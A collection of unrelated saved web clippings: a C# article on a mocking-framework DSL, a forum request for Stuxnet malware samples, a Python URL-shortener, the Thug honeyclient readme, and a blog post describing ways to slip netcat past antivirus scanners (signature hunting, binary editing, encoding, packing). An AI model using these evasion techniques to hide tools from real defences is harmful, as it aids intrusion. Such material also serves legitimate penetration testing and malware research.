### Methods: Callbacks****

The DSL also supports the ability to supply callbacks in the DSL code**.**
These callbacks are typically defined as follows in the DSL:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    //use callback with known types
    Mock<ITestClass> mockCase1 = new Mock<ITestClass>();
    mockCase1.Setup(x => x.PrintSomething(It**.** Is<int>((value) => value == 1), It.IsAny<int>()))
        .WithCallback<int, int>((x, y) => Console.WriteLine(string.Format("Was called with {0} {1}", x, y)))
        .Returns("HEY IT WORKS");
    string case1 = mockCase1.Object.PrintSomething(1, 3);
    
    //using any number of args for callback
    Mock<ITestClass> mockCase2 = new Mock<ITestClass>();
    mockCase2.Setup(x => x.PrintSomething(It**.** Is<int>((value) => value == 1), It.IsAny<int>()))
        .WithPropertyBagCallback((DynamicWrapper propbag) => Console.WriteLine(
           string.Format("Was called with {0} {1}", propbag["data"], propbag["data2"])))
        .Returns("HEY IT WORKS").RaiseEvent(x => x.Changed += null, new EventArgs());
    string case2 = mockCase2.Object.PrintSomething(1, 3);
    
[/code]

Where the two DSL method chaining methods that are used are called:

  * `WithCallback`
  * `WithPropertyBagCallback`

You may ask why there are two types of callback methods chaining DSL methods
available, and you would be right to ask this question**.** The reason is that
since we do not know what the method signature is in advance of it being
mocked, we don't know what type of callback delegate would be needed**.** Sure
we could make a dynamic delegate using `Reflection.Emit` which is an avenue I
looked into, but that dynamic delegate would also need to be known about up
front in order to get the `WithCallBack MethodData<T>` builder to work
correctly**.**

It seemed like a chicken and egg type of thing**.** This is why I have opted
for two separate callbacks, there is `WithCallback` which deals with 1 or 2
arguments, and then there is `WithPropertyBagCallback` which creates a dynamic
property bag type object with any number of parameters**.** When I finally
looked at what Moq  did, I can see this is in fact an issue Moq  only got
around by including delegates that took up to 20 arguments**.** Whilst I can
see why they did that, I did not like it that much**.**

Anyway let's continue to look at the two `MethodData<T>` builder methods that
deal with callbacks, shall we**?**

**WithCallback**

Here is the `MethodData<T>` builder code that deals with the simple cases
where we know the argument types and number of arguments:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public IMethodData<T> WithCallback<T1>(Expression<Action<T1>> callbackDelegate)
    {
        callback = new ActionCallbackInvokerOne<T1>(callbackDelegate);
        return this;
    }
    
    public IMethodData<T> WithCallback<T1, T2>(Expression<Action<T1, T2>> callbackDelegate)
    {
        callback = new ActionCallbackInvokerTwo<T1,T2>(callbackDelegate);
        return this;
    }
[/code]

Where we simply end up creating these types of callback invoker, which is easy
as we know the types and number of callback arguments to create/use:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    internal sealed class ActionCallbackInvokerOne<T> : ICallbackInvoker
    {
        private readonly Expression<Action<T>> callbackDelegate;
    
        public ActionCallbackInvokerOne(Expression<Action<T>> callbackDelegate)
        {
            this.callbackDelegate = callbackDelegate;
        }
    
        public void InvokeCallback(object[] args)
        {
            LambdaExpression l = callbackDelegate as LambdaExpression;
            Delegate d = l.Compile();
            d.DynamicInvoke(args);
        }
    }
    
    internal sealed class ActionCallbackInvokerTwo<T, T2> : ICallbackInvoker
    {
        private readonly Expression<Action<T, T2>> callbackDelegate;
    
        public ActionCallbackInvokerTwo(Expression<Action<T, T2>> callbackDelegate)
        {
            this.callbackDelegate = callbackDelegate;
        }
    
        public void InvokeCallback(object[] args)
        {
            LambdaExpression l = callbackDelegate as LambdaExpression;
            Delegate d = l.Compile();
            d.DynamicInvoke(args);
        }
    }
[/code]

#### WithPropertyBagCallback****

When we have an unknown number of arguments for a method, we resort to using a
dynamic object wrapper/invoker**.** Here is the `MethodData<T>` builder code:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public IMethodData<T> WithPropertyBagCallback(Expression<Action<DynamicWrapper>> callbackDelegate)
    {
        callback = new ActionCallbackInvokerDynamic(callbackDelegate);
        return this;
    }
[/code]

Which creates a `ActionCallbackInvokerDynamic` which looks like this:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    internal sealed class ActionCallbackInvokerDynamic : ICallbackInvoker, IIsDynamicallbackInvoker
    {
        private readonly Expression<Action<DynamicWrapper>> callbackDelegate;
    
        public ActionCallbackInvokerDynamic(Expression<Action<DynamicWrapper>> callbackDelegate)
        {
            this.callbackDelegate = callbackDelegate;
        }
    
        public void InvokeCallback(object[] args)
        {
            LambdaExpression l = callbackDelegate as LambdaExpression;
            Delegate d = l.Compile();
            d.DynamicInvoke(args);
        }
    }
    
[/code]

Where the `DynamicWrapper` used in the callback looks like this:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public class DynamicWrapper
    {
        private readonly IDictionary<String, object> propBag = new Dictionary<string, object>();
    
        public object this[string propName]
        {
            get
            {
                return propBag[propName];
            }
            set
            {
                propBag[propName]=value;
            }
        }
    }
    
[/code]

OK, so now that we have all these callbacks stored against the `MethodData<T>`
builder, it is just a question of doing the actual callbacks**.** As before
this is done in the `MethodInterceptor`, where this is the most relevant part
of the `MethodInterceptor` code:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    internal class MethodInterceptor 
    {
        public static void Intercept(IMock parentMock, IInvocation invocation)
        {
            List<IInterceptableMethodData> allMethodsForProxy = parentMock.AllMethodsForProxy;
            List<IInterceptableMethodData> methodDataItems = 
              allMethodsForProxy.Where(x => x.Method.Name == invocation.Method.Name).ToList();
    
            if (**!** methodDataItems.Any())
                throw new InvalidOperationException(string.Format(
                  "Method '{0}' was not found and is needed for this Mock", invocation.Method.Name));
    
            if (methodDataItems.Count() **!** = 1)
                throw new InvalidOperationException(string.Format(
                  "Method '{0}' was found more than once for this Mock", invocation.Method.Name));
    
            IInterceptableMethodData methodData = methodDataItems.Single();
    
    		....
    		....
    		....
    		....
    
            //now do the callbacks
            if (methodData.Callback is IIsDynamicallbackInvoker)
            {
    
                ParameterInfo[] methodParams = invocation.Method.GetParameters().ToArray();
                DynamicWrapper wrapper = new DynamicWrapper();
    
                for (int i = 0; i < methodParams.Length; i++)
                {
                    wrapper[methodParams[i].Name] = invocation.Arguments[i];
                }
                methodData.Callback.InvokeCallback(new object[] { wrapper });
            }
            else
            {
                methodData.Callback.InvokeCallback(invocation.Arguments);
            }
    
            invocation.ReturnValue = methodData.ReturnValue;
        }
    }
[/code]

### Methods: Throwing Exceptions****

This works much the same as as throwing Exceptions from properties work, with
the exception that we are dealing with a `MethodData<T>` builder data
structure and a `MethodInterceptor`**.**

Here is an example of how you might configure the DSL to throw an `Exception`
from a method from user code:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    //Throws your expected type of Exception/Message on property Setter being called
    try
    {
        Mock<ITestClass> mockCase5 = new Mock<ITestClass>();
        mockCase5.Setup(x => x.PrintSomething(It**.** Is<int>((value) => value == 1), It.IsAny<int>()))
            .Returns("HEY IT WORKS").Throws(new InvalidOperationException("this is from the mock"));
        string case5 = mockCase5.Object.PrintSomething(1, 3);
    }
    catch (InvalidOperationException ex)
    {
        Console.WriteLine(string.Format("Exception seen**.** Message was : '{0}'", ex.Message));
    }
    
    //Throws your expected type of Exception on property Setter being called
    try
    {
        Mock<ITestClass> mockCase5b = new Mock<ITestClass>();
        mockCase5b.Setup(x => x.PrintSomething(It**.** Is<int>((value) => value == 1), It.IsAny<int>()))
            .Returns("HEY IT WORKS").Throws<InvalidOperationException>();
        string case5b = mockCase5b.Object.PrintSomething(1, 3);
    }
    catch (InvalidOperationException ex)
    {
        Console.WriteLine(string.Format("Exception seen**.** Message was : '{0}'", ex.Message));
    }
[/code]

### Methods: Raising Events****

This works much the same as as raising events from properties work, with the
exception that we are dealing with a `MethodData<T>` builder data structure
and a `MethodInterceptor`**.**

Here is an example of how you might configure the DSL to raise an event from a
method from user code:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    //raising event 
    Mock<ITestClass> mockCase4 = new Mock<ITestClass>();
    mockCase4.Setup(x => x.PrintSomething(It**.** Is<int>((value) => value == 1), It.IsAny<int>()))
        .Returns("HEY IT WORKS").RaiseEvent(x => x.Changed += null, new EventArgs());
    
    mockCase4.Object.Changed += new EventHandler<EventArgs>(Object_Changed);
    string case4 = mockCase4.Object.PrintSomething(1, 3);
    
    //raise event directy on mock
    mockCase4.RaiseEvent(x => x.Changed += null, new EventArgs());
    
    //using customg event handlers
    Mock<ITestClass> mockCase4b = new Mock<ITestClass>();
    mockCase4b.Object.CustomEvent += new CustomIntEventHandler(Object_CustomEvent);
    mockCase4b.Setup(x => x.PrintSomething(It**.** Is<int>((value) => value == 1), It.IsAny<int>()))
        .Returns("HEY IT WORKS").RaiseEvent(x => x.CustomEvent += null, 99, 101);
    
    string case4b = mockCase4b.Object.PrintSomething(1, 3);
    mockCase4b.RaiseEvent(x => x.CustomEvent += null, 101, 99);
    
    static void Object_CustomEvent(int arg1, int arg2)
    {
        Console.WriteLine(string.Format("Object_CustomEvent called with {0},{1}", arg1, arg2));
    }
    
    static void Object_Changed(object sender, EventArgs e)
    {
        Console.WriteLine(string.Format("Object_Changed called with {0}",e));
    }
    
    static void Object_Changed2(object sender, EventArgs e)
    {
        Console.WriteLine(string.Format("Object_Changed2 called with {0}", e));
    }
[/code]

### Methods: Verification****

This works much the same way as verifying properties work, with the exception
that we are dealing with a `MethodData<T>` builder data structure and a
`MethodInterceptor`**.**

Here is an example of how you might configure the DSL to raise an event from a
method from user code:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    //verify methods
    Mock<ITestClass> mockCase6 = new Mock<ITestClass>();
    mockCase6.Setup(x => x.PrintSomething(It.IsAny<int>(), It.IsAny<int>()))
        .Returns("HEY IT WORKS");
    mockCase6.Object.PrintSomething(1, 3);
    mockCase6.Object.PrintSomething(1, 3);
    bool ok = mockCase6.Verify(x => x.PrintSomething(1, 1), WasCalled.Once());
    string msg = ok **?** "Was called correct number of times" : "Was NOT called correct number of times";
    Console.WriteLine(msg);
[/code]

### Methods: Interception****

As I have stated on numerous occasions, I am using Castle  Interceptors **.**
The interceptor associated with method interception is called
`MethodInterceptor` and I showed you a complete listing of that earlier**.**

### Methods: Demonstration****

To illustrate all these features, let's consider the following user DSL code:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    class Program
    {
        static void Main(string[] args)
        {
            #region Method Tests
    
            #region Callbacks
    
            //use callback with known types
            Mock<ITestClass> mockCase1 = new Mock<ITestClass>();
            mockCase1.Setup(x => x.PrintSomething(It**.** Is<int>((value) => value == 1), It.IsAny<int>()))
                .WithCallback<int, int>((x, y) => Console.WriteLine(
                       string.Format("Was called with {0} {1}", x, y)))
                .Returns("HEY IT WORKS");
            string case1 = mockCase1.Object.PrintSomething(1, 3);
    
            //using any number of args for callback
            Mock<ITestClass> mockCase2 = new Mock<ITestClass>();
            mockCase2.Setup(x => x.PrintSomething(It**.** Is<int>((value) => value == 1), It.IsAny<int>()))
                .WithPropertyBagCallback((DynamicWrapper propbag) => Console.WriteLine(
    		string.Format("Was called with {0} {1}", propbag["data"], propbag["data2"])))
                .Returns("HEY IT WORKS").RaiseEvent(x => x.Changed += null, new EventArgs());
            string case2 = mockCase2.Object.PrintSomething(1, 3);
    
    
            //specifying callback limit
            Mock<ITestClass> mockCase3 = new Mock<ITestClass>();
            mockCase3.Setup(x => x.PrintSomething(It**.** Is<int>((value) => value == 1), It.IsAny<int>()))
                .WithPropertyBagCallback((DynamicWrapper propbag) => Console.WriteLine(
    		string.Format("Was called with {0} {1}", propbag["data"], propbag["data2"])))
                .Returns("HEY IT WORKS");
            string case3 = mockCase3.Object.PrintSomething(1, 3);
                
            #endregion
    
            #region Raising events
    
            //raising event 
            Mock<ITestClass> mockCase4 = new Mock<ITestClass>();
            mockCase4.Setup(x => x.PrintSomething(It**.** Is<int>((value) => value == 1), It.IsAny<int>()))
                .WithPropertyBagCallback((DynamicWrapper propbag) => Console.WriteLine(
    		string.Format("Was called with {0} {1}", propbag["data"], propbag["data2"])))
                .Returns("HEY IT WORKS").RaiseEvent(x => x.Changed += null, new EventArgs());
    
            mockCase4.Object.Changed += new EventHandler<EventArgs>(Object_Changed);
            string case4 = mockCase4.Object.PrintSomething(1, 3);
    
            //raise event directy on mock
            mockCase4.RaiseEvent(x => x.Changed += null, new EventArgs());
    
    
            //using customg event handlers
            Mock<ITestClass> mockCase4b = new Mock<ITestClass>();
            mockCase4b.Object.CustomEvent += new CustomIntEventHandler(Object_CustomEvent);
            mockCase4b.Setup(x => x.PrintSomething(It**.** Is<int>((value) => value == 1), It.IsAny<int>()))
                .WithPropertyBagCallback((DynamicWrapper propbag) => Console.WriteLine(
    		string.Format("Was called with {0} {1}", propbag["data"], propbag["data2"])))
                .Returns("HEY IT WORKS").RaiseEvent(x => x.CustomEvent += null, 99, 101);
    
            string case4b = mockCase4b.Object.PrintSomething(1, 3);
            mockCase4b.RaiseEvent(x => x.CustomEvent += null, 101, 99);
    
            #endregion
    
            #region Throwing Exceptions
    
            //Throws your expected type of Exception/Message on property Setter being called
            try
            {
                Mock<ITestClass> mockCase5 = new Mock<ITestClass>();
                mockCase5.Setup(x => x.PrintSomething(It**.** Is<int>((value) => value == 1), It.IsAny<int>()))
                    .WithPropertyBagCallback((DynamicWrapper propbag) => Console.WriteLine(
    			string.Format("Was called with {0} {1}", propbag["data"], propbag["data2"])))
                    .Returns("HEY IT WORKS").Throws(new InvalidOperationException("this is from the mock"));
                string case5 = mockCase5.Object.PrintSomething(1, 3);
            }
            catch (InvalidOperationException ex)
            {
                Console.WriteLine(string.Format("Exception seen**.** Message was : '{0}'", ex.Message));
            }
    
    
            //Throws your expected type of Exception on property Setter being called
            try
            {
                Mock<ITestClass> mockCase5b = new Mock<ITestClass>();
                mockCase5b.Setup(x => x.PrintSomething(It**.** Is<int>((value) => value == 1), It.IsAny<int>()))
                    .WithPropertyBagCallback((DynamicWrapper propbag) => Console.WriteLine(
    			string.Format("Was called with {0} {1}", propbag["data"], propbag["data2"])))
                    .Returns("HEY IT WORKS").Throws<InvalidOperationException>();
                string case5b = mockCase5b.Object.PrintSomething(1, 3);
            }
            catch (InvalidOperationException ex)
            {
                Console.WriteLine(string.Format("Exception seen**.** Message was : '{0}'", ex.Message));
            }
    
            #endregion
    
            #region Method Verification
    
            //verify methods
            //use callback with known types
            Mock<ITestClass> mockCase6 = new Mock<ITestClass>();
            mockCase6.Setup(x => x.PrintSomething(It.IsAny<int>(), It**.** Is<int>((value) => value == 3)))
                .WithCallback<int, int>((x, y) => Console.WriteLine(
    		"Calling verify method which should only get called once"))
                .Returns("HEY IT WORKS");
            mockCase6.Object.PrintSomething(1, 3);
            try
            {
                mockCase6.Object.PrintSomething(1, 5);
            }
            catch (Exception ex)
            {
                Console.WriteLine("Method was called with incorrect " + 
                                  "arguments [{0},{1}], expected [{2},{3}]", 1,5,1,3);
            }
            bool ok = mockCase6.Verify(x => x.PrintSomething(1, 1), WasCalled.Once());
            string msg = ok **?** "Was called correct number of times" : "Was NOT called correct number of times";
            Console.WriteLine(msg);
    
            #endregion
    
            #endregion
    
            Console.WriteLine("========== END ==========");
    
            Console.ReadLine();
        }
    
        static void Object_CustomEvent(int arg1, int arg2)
        {
            Console.WriteLine(string.Format("Object_CustomEvent called with {0},{1}", arg1, arg2));
        }
    
        static void Object_Changed(object sender, EventArgs e)
        {
            Console.WriteLine(string.Format("Object_Changed called with {0}",e));
        }
    
        static void Object_Changed2(object sender, EventArgs e)
        {
            Console.WriteLine(string.Format("Object_Changed2 called with {0}", e));
        }
    }
[/code]

And let's now look at its output:

<img src='img/Temp2_1918.gif' />

## Uber Example: Miscellaneous****

One of the final things I would like to mention is that it is also possible to
raise events directly from the mock object**.** This is done by the use of the
following methods, which allow the DSL to specify either a standard event or a
custom event signature**.**

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public class Mock<T> : IMock, IEventRaiser<T>, IEventRaisingAgent
    {
        private Dictionary<string, EventData> allEventsForProxy = new Dictionary<string, EventData>();
     
        Dictionary<string, EventData> IEventRaisingAgent.AllEventsForProxy
        {
            get { return this.allEventsForProxy; }
        }
    
        public void RaiseEvent(Action<T> eventToRaise, EventArgs eventArgs)
        {
            new EventRaiserHelper<T>().GetAndRaiseEvent(this, proxy, 
                                       eventToRaise, new object[] { eventArgs });
        }
    
        public void RaiseEvent(Action<T> eventToRaise, params object[] args)
        {
            new EventRaiserHelper<T>().GetAndRaiseEventCustomArgs(this, proxy, eventToRaise, args);
        }
    }
[/code]

As before, the technique used is to use the extremely short lived proxy that
has its calls intercepted to obtain/store the actual event information**.**
This works the same as previously discussed. What is different with raising
the events directly on the mock object, is that we are able to raise the event
right then and there, we do not need to wait for a property setter or method
call to occur to work out whether the DSL provided for those
properties/methods specified an event to raise**.** The DSL portion is
literally saying "Raise Event\_XYZ NOW"**.**

The code to obtain and raise the events directly from the mock is shown
below**.** It actually really boils down to a few simple steps:

  1. Run the very short lived proxy where the original portion of the expression tree \(`x => x.Changed += null`\) is essentially played and intercepted against the short-lived proxy to obtain an event name from the short lived proxy `MemberInfo`**.**
  2. Look to see if we have any events on the mock that match the name of the event just requested**.**
  3. If we find some events for step 2, just invoke the delegate handlers for the `InvocationList` for the found event name**.**

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public class EventRaiserHelper<T>
    {
        public void GetAndRaiseEvent(IEventRaisingAgent eventRaisingAgent, object proxy, 
    		Action<T> eventToRaise, object[] args) 
        {
            List<object> delegateArgs = new List<object>() { proxy };
            delegateArgs.AddRange(args);
    
    
            PredictiveAnalyzer<T> predictiveAnalyzer = 
    		new PredictiveAnalyzer<T>(proxy, eventToRaise, AnalyzerType.Event);
            predictiveAnalyzer.Analyze();
            MemberInfo member = predictiveAnalyzer.Invocation;
            foreach (Delegate handler in eventRaisingAgent.AllEventsForProxy[member.Name].InvocationList)
            {
                handler.Method.Invoke(handler.Target, delegateArgs.ToArray());
            }
        }
    
        public void GetAndRaiseEventCustomArgs(IEventRaisingAgent eventRaisingAgent, object proxy, 
    		Action<T> eventToRaise, object[] args)
        {
            PredictiveAnalyzer<T> predictiveAnalyzer = 
    		new PredictiveAnalyzer<T>(proxy, eventToRaise, AnalyzerType.Event);
            predictiveAnalyzer.Analyze();
            MemberInfo member = predictiveAnalyzer.Invocation;
            foreach (Delegate handler in eventRaisingAgent.AllEventsForProxy[member.Name].InvocationList)
            {
                handler.Method.Invoke(handler.Target, args);
            }
        }
    }
[/code]

And here is how you would write a portion of the DSL to raise a standard event
signature directly on the mock object:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    Mock<ITestClass> mockCase4 = new Mock<ITestClass>();
    mockCase4.Object.Changed += new EventHandler<EventArgs>(Object_Changed);
    
    //raise event directy on mock
    mockCase4.RaiseEvent(x => x.Changed += null, new EventArgs());
    
    ..**.**
    ...
    
    static void Object_Changed(object sender, EventArgs e)
    {
        Console.WriteLine(string.Format("Object_Changed called with {0}",e));
    }
[/code]

And here is how you would write a portion of the DSL to raise a custom event
signature directly on the mock object:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    Mock<ITestClass> mockCase4b = new Mock<ITestClass>();
    mockCase4b.Object.CustomEvent += new CustomIntEventHandler(Object_CustomEvent);
    
    //raise event directy on mock
    mockCase4b.RaiseEvent(x => x.CustomEvent += null, 101, 99);
    
    ..**.**
    ...
    
    static void Object_CustomEvent(int arg1, int arg2)
    {
        Console.WriteLine(string.Format("Object_CustomEvent called with {0},{1}", arg1, arg2));
    }
[/code]

## Uber Example: Demo, Please Examine It****

The demo illustrates this far better than my words I feel, please have a play
with it**.** The Uber demo is "SimpleMock.TestApp". Have a play, I hope that
you can grasp how it works from the examples that I have included in the demo
code**.**

## That's it****

Anyway that is all I wanted to say this time, I hope you have enjoyed this
article, I know I have enjoyed writing this one, as it was not obvious how to
do certain things and required a lot of thinking at some points in the
article/code**.** If you too enjoyed it, could you maybe give it a vote or let
me know what you thought, or even better both**?** Many thanks.

By the way my next article will be a full rich client/server side code all the
way to the database n-tiered article, which will be used to demonstrate
various aspects/techniques people have been asking me to talk about for ages,
where I have been putting it off due to the sheer amount of work..**.**.The
time has come though, so that is what I will be working on next**.**

Oh, by the way, it will be a Zombie explorer application, charting zombie
activity around the globe, and it will involve some sort of map component,
should be cool**.**

****

# TmpHider Stuxnet Sample Needed Urgent | Offensive Computing
**Created:**| _11/6/2010 10:08:47 PM_  
---|---  
**Updated:**| _11/6/2010 10:09:13 PM_  
**Author:**| __  
**Tags:**| _bookmark Malware-analysis_  
  

# TmpHider Stuxnet Sample Needed Urgent

Submitted by xanalyzer on Sat, 2010-07-17 04:27. Malware | Sample Requests
Hi

I want a sample of tmp files of this malware which adds to USB disks. Here is
more details:

http://www.securelist.com/en/blog/269/Myrtus\_and\_Guava\_Episode\_1  
http://www.wilderssecurity.com/showthread.php?t=276994

It's called Stuxnet or TmpHider

Please upload a sample, there is 2 tmp files which this malware puts in USB. I
need them

Thanks  
Regards

# shorturl.py: Short a long URL from comand line, in Python - Python - Snipplr
Social Snippet Repository

**Created:**| _9/16/2010 11:06:37 AM_  
---|---  
**Updated:**| _9/16/2010 11:07:37 AM_  
**Author:**| __  
**Tags:**| _python programming snipplets_  
  

# shorturl.py: Short a long URL from comand line, in Python

* * *
Published in: Python

* * *
Expand | Embed | Plain Text   

[/code]

[code]   1. \#\!/usr/bin/env python

  2. \#
  3. \# shorturl.py
  4. \# Short a long URL from comand line, using ur1.ca.
  5. \#
  6. \# ksaver, \(at identi.ca\); Sep, 2010.
  7. \# Requieres BeautifulSoup library in order to work properly.
  8. \# http://www.crummy.com/software/BeautifulSoup/
  9. \#
  10. \# Public Domain Code.
  11.   12. import urllib2
  13. import string
  14. import sys
  15. from BeautifulSoup import BeautifulSoup
  16. from urllib import urlencode
  17.   18. def cooksoup\(htmlpage\):
  19. return BeautifulSoup\(htmlpage\)
  20.   21. def shorten\(longurl\):
  22. shortener = 'http://ur1.ca/'
  23. webparams = \{'longurl': longurl\}
  24. encparams = urlencode\(webparams\)
  25. urlreqst = urllib2.Request\(shortener, encparams\)
  26. htmlpage = urllib2.urlopen\(urlreqst\).read\(\)
  27. soup = cooksoup\(htmlpage\)
  28. shorturl = soup.p.text\[string.find\(soup.p.text, ':'\)+1:\] \#:-S
  29. return shorturl 
  30.   31. def main\(argv\):
  32. if len\(argv\) > 1:
  33. url = argv\[1\]
  34. else:
  35. url = raw\_input\("URL to short: "\)
  36.   37. shorturl = shorten\(url\)
  38.   39. print "Short URL: %s" % shorturl
  40. print
  41.   42. if \_\_name\_\_ == '\_\_main\_\_':
  43. main\(sys.argv\)

Report this snippet

# Thug by buffer

**Created:**| _8/6/2013 10:49:00 AM_  
---|---  
**Updated:**| _8/6/2013 10:49:00 AM_  
**Author:**| __  
**Tags:**| _honeypot programming_  
  

# **T** hug by buffer****

The number of client-side attacks has grown significantly in the past few
years shifting focus on poorly protected vulnerable clients**.** Just as the
most known honeypot technologies enable research into server-side attacks,
honeyclients allow the study of client-side attacks**.**

A complement to honeypots, a honeyclient is a tool designed to mimic the
behavior of a user-driven network client application, such as a web browser,
and be exploited by an attacker's content**.**

Thug is a Python low-interaction honeyclient aimed at mimicing the behavior of
a web browser in order to detect and emulate malicious contents**.**

Please refer to Thug documentation  for additional details**.**

# License information****

Copyright \(C\) 2011-2013 Angelo Dell'Aera

License: GNU General Public License, version 2 or later; see COPYING.txt
included in this archive for details**.**

****

# heap.png 4350 × 2247 Pixel

**Created:**| _6/16/2010 8:33:52 PM_  
---|---  
**Updated:**| _6/16/2010 8:34:07 PM_  
**Author:**| __  
**Tags:**| _awesome Heap_  
  
<img src='img/Temp2_10302.png' />

# The Grey Corner: Bypassing Antivirus Detection: Netcat

**Created:**| _4/10/2011 11:49:24 AM_  
---|---  
**Updated:**| _4/10/2011 11:59:13 AM_  
**Author:**| __  
**Tags:**| _antivirus anti-debugging Obfuscation_  
  

## Bypassing Antivirus Detection: Netcat  

**Introduction**  
  
The subject of bypassing AV detection is one that comes up quite frequently in
discussions in pentesting circles, and I was most recently reminded of it once
again when it came up on one of the mailing lists I subscribed to. In this
particular case, the executable in question that people wanted to sneak by
those evil AV scanners was the Windows version of netcat \(nc.exe\).  
  
Since this was something I had looked at before, I contributed some of my own
favorite methods to the list, but I thought it might also be a good idea to do
a post about it here as well, giving a more detailed summary of the process,
including my own methods and those mentioned by some others.  
  
The methods I am listing are specifically focused on Windows executable files,
with nc.exe being used as the example, and may not be appropriate for other
types of malicious code, such as macro viruses, although the theory
\(involving signature avoidance\) is largely the same.  
  
In addition, while it is possible to evade AV detection by encrypting a file
\(adding it to a TrueCrypt container, or a password protected zip file\) I
have not listed this method below. This is because this method results in a
program that cannot be run in its current form - it will need to be removed
from the encrypted container first before it is run. This can be effective in
bypassing AV detection on content inspection gateways \(virus scanning email
servers for example\), but a local virus scanner will usually pick the file up
once it is extracted to disk before being run.  
  
And of course I also have to give the standard warning here that I do before
any post that may be put to inappropriate use.... don't be evil.  
  
Now lets get into the detail.  
  
  
**Methods of Bypassing AV Detection**  
  
The methods for bypassing AV detection can be loosely grouped together as
follows:  

  * Binary Editing
  * Encoding
  * Packing
  * Source Modifcation
  * Recompilation
  * Use of Alternative programs

  
  
**Virus "File Signatures"**  
  
What these methods all have in common is that they all work to try and modify
the file signature of the target executable file in order to avoid detection.
A quick explanation of what a signature is could be helpful here.  
  
The most common method for virus detection is the use of a signature, which is
a unique pattern of bytes contained within a malicious file. This signature is
usually quite small \(perhaps only a few dozen bytes\), and if you can modify
the file such that those bytes are not present in the file when the virus
scanner scans it, then no virus will be detected. This could be as simple as
the virus scanner expecting to see the characters "Now you are pwned\!" at
byte offset 200 in the file, and if you change the file to instead say "Now
you are Pwned\!" \(changing the case of the 'p' in pwned\), the signature will
not be complete and no virus will be detected. Now it may not always be
possible to just directly modify the file signature in such a simple manner
and still have the target executable run as intended, but there are other ways
in which this same goal can be achieved other than just replacing text
characters \(more on this later\).  
  
Another important fact to understand about Virus Scanners related to the file
signature issue is that the "scanning" of the file is usually done based on
how it appears on disk. Consequently, detection can also be bypassed if the
file appears one way when opened from disk, but modifies itself when loaded
into memory.  
  
Now, checking for this type of file signature is not the only technique used
by virus scanning products to detect malicious code, however it is the most
common, and in the majority of cases it is sufficient to modify the file
signature in order to bypass detection. The methods of AV avoidance discussed
in this post are primarily focused on the file signature method, but some
might also be effective \(with a little modification\) against other detection
methods. If you are interested in some of the other methods of virus
detection, "The Art of Computer Virus Research and Defense" by Peter Szor is
an excellent reference.  
  
  
**Finding File Signatures**  
  
Considering the focus so far on file signatures, it might be worthwhile to
discuss how we actually go about finding what the signature of a file actually
is.  
  
The process of doing this is actually quite straightforward and involves
removing different lengths of data from the end of the file and scanning each
copy of the file with your AV program of choice to identify which copies of
the file are detected as infected. By manipulating the size of data removed
from the end of the file and gradually narrowing down the spot where detection
of the file as virus infected stops, you will be able to find the location of
the file signature. This general process was outlined in the Taking Back
Netcat paper, and there is also a tool designed specifically for this purpose
called DSplit, which you can see in this video here.  
  
Now lets go through each of the modification methods in turn, to describe how
they work.  
  
  
**Binary Editing**  
  
This is one of the simplest ways in which to avoid antivirus detection, which
basically just involves finding the signature of the file and directly
changing its contents. It can be just as easy as my "Pwned" example above. If
the signature is some text within the file, and changing the text won't affect
the running of the executable - you can just directly change it within a Hex
Editor. In some cases it will be a little more complicated, and you might need
to be able to replace assembly instructions in the file with equivalent
instructions. This is essentially what was done in the Taking Back Netcat
paper \- nc.exe was opened in OllyDbg and some INT3 instructions from the file
signature were replaced with NOPs. This changed the signature of nc.exe
without breaking the application. This method won't always be effective - the
signature may not always include easily changable text or assembly
instructions, and in these cases you may need to rely on one of the other
methods.  
  
  
**Encoding**  
  
This involves encoding the machine language instructions inside an executable,
so that these instructions will be decoded in memory before they are run.  
  
A video, with the charming title of "I Piss on Your AV" is located here, and
it shows one method of achieving this encoding process.  
  
Essentially, you modify the executable file to add a decoding stub at the end
of the file, redirect the programs entry point to this decoding stub, and
replace the existing content of the .text section of the PE file with an
encoded version. Then, when the executable is run, the decoder runs first and
transforms the content of the .text section of the PE file in memory, before
passing control back to this now decoded executable code. If the file
signature was contained within this .text section of the file, it will no
longer appear in the file when it is stored on disk - and if the virus scanner
only scans the file while it sits on disk then no virus will be detected.  
  
If you want a more detailed version of the process you can do the \(highly
recommended\) Cracking the Perimeter course from Offensive Security.  
  
In the case of Metasploit executables, you can use the method described here
to use msfencode for encoding.  
  
  
**Packing**  
  
Packing an executable is ostensibly done to reduce its file size, but it can
also be quite effective at bypassing antivirus detection, as evidenced by the
fact that it is a technique commonly used by malware in the wild. It has been
such a common technique that "unpacking" of executables is a common skill
amongst malware reverse engineers, and some malicious software detection tools
will trigger on signs that a packer has been used.  
  
Essentially packers work by compressing the contents of an executable file
such that it's on disk size is reduced, with the file generally being
decompressed in memory when it is run. Of course, just like with encoded
executables, if the signature is part of the data that is compressed when the
executable is stored on disk, then any virus scanner that only scans files as
they appear on disk will miss it.  
  
There are many types of packers available, and if you are a malware researcher
you can see the affect that a few of the most common packers have on a number
of well known antivirus engines by using the PolyPack system. This system is
not available to to members of the general public however, so most people will
have to do their own dirty work in testing out the various packers available.
There is a list of packers at the PolyPack site, and some of them \(such as
UPX\) are freely available for use.  
  
  
**Source Modification**  
  
Modification of the source code of an executable \(assuming you have the
source and the skill to modify it\) can be effective in bypassing virus
detection. Depending on what the signature is this could be as simple as
changing the text of some message within the code, or it might be more
complicated, requiring the use of different function calls or the reordering
of code.  
  
